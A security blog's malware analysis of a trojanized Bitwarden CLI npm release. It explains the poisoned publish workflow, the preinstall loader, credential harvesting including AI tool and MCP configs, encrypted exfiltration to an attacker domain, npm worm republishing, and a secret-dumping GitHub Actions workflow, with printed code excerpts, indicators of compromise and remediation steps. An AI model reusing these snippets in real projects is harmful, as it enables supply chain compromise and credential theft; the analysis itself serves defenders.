---
title: "Bitwarden CLI Supply Chain Compromise"
description: "A technical writeup of the malicious `@bitwarden/cli@2026.4.0` release linked to the Checkmarx campaign. Covers the poisoned publish path, loader changes, credential theft, GitHub abuse, and responder takeaways."
url: "https://safedep.io/blog/bitwarden-cli-supply-chain-compromise"
author: "SafeDep Team"
published: "2026-04-24"
---

# Bitwarden CLI Supply Chain Compromise

## TL;DR

The malicious `@bitwarden/cli@2026.4.0` npm release was not a normal Bitwarden update. It was a
trojanized package published through Bitwarden's npm delivery path during the wider Checkmarx and
TeamPCP campaign. The package replaced the expected CLI entrypoint with a loader, pulled in the Bun
runtime, launched an obfuscated payload, and then harvested developer and CI secrets.

Bitwarden said the incident affected the npm distribution path for the CLI during a short window on
April 22, 2026, not Bitwarden vault data or production systems. That matters, but only after one
important caveat: anyone who installed `@bitwarden/cli@2026.4.0` should treat the host and exposed
credentials as compromised.

**Impact:**

- Steals GitHub tokens, npm tokens, SSH material, cloud credentials, shell history, `.env` files,
  and AI tool configuration files
- Posts encrypted data to `hxxps://audit[.]checkmarx[.]cx/v1/telemetry`
- Falls back to GitHub commit search and repository abuse when direct exfiltration fails
- Republished downstream npm packages using stolen publish credentials
- Injects a GitHub Actions workflow that serializes repository secrets into an artifact

**Indicators of Compromise (IoC):**

| Indicator              | Value                                                              |
| ---------------------- | ------------------------------------------------------------------ |
| Package                | `@bitwarden/cli@2026.4.0`                                          |
| Loader file            | `bw_setup.js`                                                      |
| Main payload           | `bw1.js`                                                           |
| Primary C2             | `hxxps://audit[.]checkmarx[.]cx/v1/telemetry`                      |
| C2 IP                  | `94[.]154[.]172[.]43`                                              |
| Loader SHA-256         | `18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb` |
| Payload SHA-256        | `8605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14` |
| GitHub fallback marker | `LongLiveTheResistanceAgainstMachines`                             |
| Fallback domain marker | `beautifulcastle`                                                  |

## Analysis

### Package overview

This package stood out for two reasons. First, `2026.4.0` did not match Bitwarden's public CLI
release history. In the public `bitwarden/clients` issue that first collected external reports,
users noted that the latest legitimate CLI release was still `2026.3.0` when the malicious npm
package appeared. Second, Bitwarden later confirmed that `2026.4.0` was malicious, deprecated it,
and linked the incident to the ongoing Checkmarx supply chain campaign.

That puts the package in the same family as the TeamPCP-linked compromises that hit Trivy, LiteLLM,
and other developer tooling earlier in 2026. The infrastructure overlap is hard to ignore. The same
`audit.checkmarx.cx` endpoint appears again, and the payload keeps the same mix of credential theft,
GitHub abuse, and downstream propagation.

### The poisoned publish path

Mend's writeup traced the publish path back to a suspicious change in
`bitwarden/clients/.github/workflows/publish-cli.yml`. Their snippet shows three lines added to the
publish job right before the malicious npm release appeared:

```bash
# .github/workflows/publish-cli.yml
+          echo $NPM_TOKEN | base64 -w 0 | base64 -w 0
           npm config set //registry.npmjs.org/:_authToken $NPM_TOKEN
+          cp scripts/cli-2026.4.0.tgz /tmp
+          cd /tmp
           npm publish scripts/cli-2026.4.0.tgz
```

That change does two jobs. It prints the npm publish token into CI logs in double-base64 form, and
it swaps the package being published. The GitHub issue timeline shows the suspicious commit landed
at 21:18 UTC on April 22, 2026. The npm release metadata recorded `2026.4.0` at 21:22:59 UTC.
That four minute gap is short enough to treat the workflow modification and package publish as part
of the same attack chain.

The issue thread also notes the suspicious commit lives in the repo's fork network rather than on a
normal branch. That detail matches a pattern already seen in the TeamPCP campaign: attackers abuse
GitHub's fork object store and workflow permissions to route malicious changes into release
infrastructure without leaving a normal branch history behind.

### The package execution path was replaced

JFrog's analysis shows the malicious package did not need to alter Bitwarden's compiled CLI logic in
place. It only needed to change the outer package metadata so npm would run the attacker's loader
instead of the legitimate CLI:

```json
// package/package.json
{
  "scripts": {
    "preinstall": "node bw_setup.js"
  },
  "bin": {
    "bw": "bw_setup.js"
  }
}
```

That is enough. `preinstall` executes during package installation, and the `bw` binary path now
points to the same loader. A developer does not need to log in to Bitwarden or use the CLI. Merely
installing the package triggers the malicious code path.

JFrog also noted another useful clue: the outer package claimed to be `2026.4.0`, while metadata
inside the bundled application still pointed to Bitwarden CLI `2026.3.0`. That mismatch suggests an
older legitimate release was repackaged with a malicious wrapper rather than built through the
normal vendor pipeline.

### Loader and payload

The first stage, `bw_setup.js`, is small and readable. Its job is to bootstrap Bun and then hand
execution to the obfuscated second stage:

```javascript
// package/bw_setup.js
const BUN_VERSION = '1.3.13';
const downloadUrl = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`;

// ... download, extract, chmod ...

execFileSync(binPath, ['bw1.js'], { stdio: 'inherit' });
```

That choice is practical. The package does not need Bun to be present on the target system, and the
attacker gets access to Bun-specific APIs once the runtime lands. JFrog and Mend both describe the
second stage, `bw1.js`, as heavily obfuscated and much larger than the loader. Mend measured it at
roughly 9.7 MB and described multiple embedded payload blobs inside it.

### What the payload steals

This payload behaves like a workstation and CI loot collector, not a narrow npm token stealer.
JFrog's deobfuscation shows the shell collector explicitly calls `gh auth token` and then scans the
result along with environment data:

```javascript
// package/bw1.js
class un extends $f {
  constructor() {
    super('shell', 'misc', {
      ghtoken: /ghp_[A-Za-z0-9]{36}/g,
      npmtoken: /npm_[A-Za-z0-9]{36,}/g,
    });
  }

  async ['execute']() {
    let result = {};
    try {
      let token = execSync('gh auth token', {
        encoding: 'utf-8',
        stdio: ['pipe', 'pipe', 'pipe'],
      }).trim();
      if (token) result.token = token;
    } catch {}
    result.environment = process.env;
    return this.success(result);
  }
}
```

The file collector goes further. JFrog and Mend both show it targeting `~/.npmrc`, `.git/config`,
`.git-credentials`, `~/.aws/credentials`, `.env`, `~/.bash_history`, `~/.zsh_history`, and AI tool
configuration files such as `~/.claude.json`, `~/.claude/mcp.json`, and
`~/.kiro/settings/mcp.json`. That last part matters. This was not generic credential theft. The
operator explicitly hunted for agent and MCP configuration data on developer machines.

### Exfiltration and GitHub fallback

JFrog published the payload's encryption and primary exfiltration code. The package compresses the
results, wraps a random AES key with RSA OAEP, and posts the encrypted envelope to the Checkmarx
lookalike domain:

```javascript
// package/bw1.js
async ["encryptProviderResults"](results) {
  let json = JSON.stringify(results);
  let compressed = await gzip(Buffer.from(json));
  let aesKey = crypto.randomBytes(32);
  let iv = crypto.randomBytes(12);
  let wrappedKey = crypto.publicEncrypt({
    "key": Fr,
    "padding": crypto.constants.RSA_PKCS1_OAEP_PADDING,
    "oaepHash": "sha256"
  }, aesKey);
  let cipher = crypto.createCipheriv("aes-256-gcm", aesKey, iv);
  ...
}

class Cy extends yH {
  constructor(domain, port, path) {
    super("domain", {
      "domain": domain ?? "audit.checkmarx.cx",
      "port": port ?? 443,
      "path": path ?? "v1/telemetry"
    });
  }
}
```

When direct HTTPS exfiltration fails, the malware does not stop. JFrog describes a fallback path
that searches GitHub commit messages for staged PATs and alternative routing data. That makes the
payload more resilient than the average npm credential stealer, and it fits the same GitHub-abuse
pattern seen in other TeamPCP-linked incidents.

### Worm behavior and CI secret dumping

Mend's analysis shows the package can also republish other npm packages if it finds valid publish
credentials. Their deobfuscated snippet shows the worm replacing downstream preinstall scripts with a
new dropper and then publishing via Bun:

```javascript
// package/bw1.js
_0x3ddece.scripts['preinstall'] = __decodeScrambled(
  [0x64, 0x33, 0x36, 0x0, 0x1b, 0x18, 0x0, 0x2b, 0x6e, 0x54, 0x5c, 0x26, 0x78, 0x18]
  // decodes to: "node setup.mjs"
);
await Bun.write(setupPath, K$);
await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2));
await run(bun, ['publish', '--gzip', '--file', outputTgz, '--cwd', tmpDir]);
```

If a GitHub token with `repo` and `workflow` scope is available, the payload moves into the victim's
repositories and injects a workflow named `Formatter`:

```yaml
# package/bw1.js embedded workflow
name: Formatter
on:
  push:
jobs:
  format:
    runs-on: ubuntu-latest
    env:
      VARIABLE_STORE: ${{ toJSON(secrets) }}
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
      - name: Run Formatter
        run: echo "$VARIABLE_STORE" > format-results.txt
      - uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
        with:
          name: format-results
          path: format-results.txt
```

That turns a stolen developer token into CI secret theft across every repository the token can
modify. One installation can become several compromised publish paths if the victim has enough
access.

## What to do if this version was installed

Treat `@bitwarden/cli@2026.4.0` as a host-level credential exposure event.

1. Remove the package and any dropped artifacts such as `bw_setup.js`, `bw1.js`, `bun`, or
   `bun.exe`.
2. Rotate GitHub tokens, npm tokens, SSH keys, cloud credentials, and any secrets present in `.env`
   files or CI environments on that host.
3. Review GitHub repositories the user could write to for unexpected workflow files, branches, or
   artifact uploads.
4. Block and hunt for traffic to `audit.checkmarx[.]cx` and related fallback GitHub search
   patterns.

This incident also reinforces a release engineering point that has come up repeatedly in 2026.
Trusted publishing reduces one class of token theft, but it does not save a release pipeline that
can still be steered by a poisoned workflow, a compromised dependency scanner, or an attacker who
already reached the publishing job.

The same lesson showed up in the earlier
[Trivy supply chain compromise](https://safedep.io/blog/trivy-teampcp-supply-chain-compromise), the
[malicious LiteLLM package analysis](https://safedep.io/blog/malicious-litellm-1-82-8-analysis), and the broader
[agent skills threat model](https://safedep.io/blog/agent-skills-threat-model). Once a build or agent path can read
secrets and publish artifacts, the package registry becomes the last step, not the first breach.



## References

- [Bitwarden issue tracking the malicious CLI release](https://github.com/bitwarden/clients/issues/20353)
- [Bitwarden statement on the Checkmarx supply chain incident](https://community.bitwarden.com/t/bitwarden-statement-on-checkmarx-supply-chain-incident/96127)
- [JFrog analysis of the hijacked Bitwarden CLI](https://research.jfrog.com/post/bitwarden-cli-hijack/)
- [Mend writeup on the poisoned `@bitwarden/cli` package](https://www.mend.io/blog/compromised-bitwarden-cli-npm-worm-ai-poisoning/)
- [BleepingComputer coverage with Bitwarden's response](https://www.bleepingcomputer.com/news/security/bitwarden-cli-npm-package-compromised-to-steal-developer-credentials/)
- [The Hacker News report on the Checkmarx-linked campaign](https://thehackernews.com/2026/04/malicious-kics-docker-images-and-vs.html)
